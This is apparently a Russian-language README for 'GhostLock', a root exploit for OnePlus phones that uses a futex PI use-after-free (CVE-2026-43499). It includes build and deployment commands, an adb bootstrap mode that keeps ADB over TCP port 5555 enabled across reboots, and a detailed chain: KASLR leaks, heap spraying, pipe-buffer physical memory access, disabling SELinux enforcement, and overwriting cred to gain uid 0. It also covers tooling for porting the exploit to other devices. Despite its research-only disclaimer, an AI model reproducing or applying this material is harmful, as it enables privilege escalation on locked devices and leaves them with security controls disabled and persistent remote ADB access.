
(CVE-2026-43499)Эксплойт ядра для устройств OnePlus с разблокированным загрузчиком.
Эксплойт ядра, нацеленный на устройства OnePlus с заблокированным загрузчиком. Использует CVE-2026-43499 для получения root-доступа без разблокировки загрузчика и изменения boot.img.
Только для авторизованных исследований в области безопасности и образовательных целей.
| Параметр | Значение |
|---|---|
| CVE | CVE-2026-43499 |
| Тип | Futex PI (Priority Inheritance) Use-After-Free |
| Область | Linux kernel 2.6.39 ~ 7.1 |
| Исправлено в | Mainline 7.1 (коммит 3bfdc63936dd) |
| Статус Android | GKI 6.12.x всё ещё уязвим |
Системный вызов pselect6 копирует fd_set в стек ядра. В сочетании с механизмом ожидания futex PI освобождённый кадр стека может быть перераспределён как структура rt_mutex_waiter. При обходе цепочки PI перебалансировка rb-дерева записывает управляемые данные по произвольным адресам ядра.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
Другие устройства OnePlus на том же семействе SoC, Android 16 или ядре 6.12.x могут быть адаптированы с помощью извлечения смещений из boot.img.
GhostLock выполняет повышение привилегий. Для установки KernelSU требуется ksud (поставляется вместе с kernelsu.ko для конкретного KMI):
| Источник | Примечания |
|---|---|
| ReSukiSU APK (рекомендуется) | Установите ReSukiSU; APK включает |
Без ksud эксплойт всё равно получит root-оболочку с uid=0, но KernelSU не будет установлен, и
suне сохранится.
ANDROID_NDK_HOME или ANDROID_NDK_ROOT# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — статически слинкованный ARM64 ELF-исполняемый файл.
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
После первого успешного запуска
resetpropавтоматически устанавливаетpersist.adb.tcp.port=5555, что позволяет полностью автоматический запуск при последующих перезагрузках.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop, чтобы включить ADB TCP 5555127.0.0.1:5555/data/local/tmp/a/e --write1
Смещения хранятся в таблице поиска src/devices/offsets.h с ключом по uname -r. Программа автоматически сопоставляет их при запуске; неизвестные ядра отклоняются.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
Когда доступ к указателям ядра ограничен (kptr_restrict), утечка базового адреса происходит через перезапись boot_id адресом ядра:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
Когда устройство ashmem доступно, используйте примитивы чтения/записи configfs для чтения указателей функций из таблицы fops ashmem и вычисления смещения KASLR.
Создавайте поддельные объекты ядра на страницах порядка 3 (32 КБ):
file_operations — перехват указателя fops miscdevice ashmemrt_mutex_waiter — имитация узла ожидания в цепочке PItask_struct — ссылка на задачу при обходе PIrt_mutex (блокировка) — корректная информация об ожидающем/владельцеРеализовано через SKB (socket buffer) + KernelSnitch:
mm_structsendmsg для заполнения кучи ядраПосле получения базового адреса KASLR используйте буферы pipe для доступа к памяти на физическом уровне:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
Поддерживаются: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
После перезаписи cred выполняется проверка возможностей чтением.
src/core/miniadb.c — лёгкий клиент протокола ADB для режима bootstrap:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
Поддерживает алгоритмы подписи SHA-1 и SHA-256.
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
Нужен только boot.img целевого устройства — не требуется root или доступ к устройству.
# 1. Extract kernel from boot.img
python -c "import struct; d=open('boot.img','rb').read(); \
open('kernel','wb').write(d[4096:4096+struct.unpack_from('<I',d,8)[0]])"
# 2. Get kallsyms (root: adb shell su -c 'cat /proc/kallsyms' > kallsyms.txt)
# Or from vmlinux: nm vmlinux > kallsyms.txt
# 3. Extract global symbol offsets
python tools/extract_target.py # 28 offsets, auto-verified
# 4. Extract struct field offsets
python tools/extract_btf.py kernel # 57 offsets, auto-verified
src/devices/<name>/offsets.h (см. ace6t/offsets.h)#include в src/devices/offsets.hKIMAGE_TEXT_BASE и раскладку памяти в src/core/target.h, если необходимоУбедитесь, что вы работаете в ADB-оболочке. В контексте приложения требуется --bootstrap.
Ваша версия ядра пока не поддерживается. Следуйте инструкциям в разделе Добавление новых устройств, чтобы извлечь смещения и пересобрать.
CORE)PSELECT_ENTER_DELAY_USECperf_event_open (используйте --bootstrap в контексте приложения)kaslr_base корректен)ksud существует и исполняемыйload_policy)Только для авторизованных исследований в области безопасности и образовательных целей.
| Устройство | Кодовое имя | SoC | Ядро | Прошивка | Статус |
|---|
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ Проверено |
| OnePlus Ace 6T | PLR110 | SM8845 (Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ Проверено |
| OnePlus 15 | PLK110 | SM8845 (Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ Проверено |
libksud.so| CI Release | Скачать с ReSukiSU CI (ksud-aarch64-linux-android.zip) |
| Тип | Количество | Извлечение |
|---|
| Глобальные символы kallsyms | 28 | tools/extract_target.py |
| Поля структур BTF | 57 | tools/extract_btf.py |
| Производные значения | 9 | Вычисляются автоматически |
| Фиксированные константы | 12 | Захардкожено |
| Структура | Поля | Назначение |
|---|
task_struct | 17 | Дескриптор процесса, cred, seccomp |
rt_mutex_waiter | 6 | Цель подделки UAF |
cred | 4 | Учётные данные, возможности |
seccomp | 3 | Состояние фильтра seccomp |
pipe_inode_info | 11 | Операции с буферами pipe |
file_operations | 13 | Поддельная таблица fops |
mm_struct | 1 | Владелец дескриптора памяти |
| Модуль | Файл(ы) | Ответственность |
|---|
| Точка входа | main.c | Разбор CLI, диспетчеризация W1/W2, поток bootstrap |
| Маршрут PI | fops.c / slide.c | Раскладка стека pselect/select, манипуляция цепочкой futex PI |
| KASLR | util.c / fops.c / slide.c | Двухрежимный обход: утечка boot_id + утечка таблицы fops |
| Распыление кучи | util.c | Выделение страниц порядка 3, распыление SKB, компоновка поддельных объектов |
| Phys R/W | pipe.c | Перехват буферов pipe, произвольный доступ к физической памяти |
| Повышение привилегий | root.c | Перезапись cred, проверка возможностей, очистка seccomp |
| ADB | miniadb.c | Лёгкий клиент протокола ADB, RSA-аутентификация |
| Механизм утечки | kernelsnitch/ | Коллизия хеша futex для определения расположения mm_struct |
| Параметр |
|---|
| Примечания |
|---|
VA_BITS | 48 против 39 → обновите раскладку памяти в target.h |
| Тайминги | Настройте параметры PSELECT_* в common.h |
| Ashmem | Реализация C или Rust → обновите сопоставление символов в extract_target.py |
| Secureguard | На устройствах не от OnePlus развёртывание может упроститься |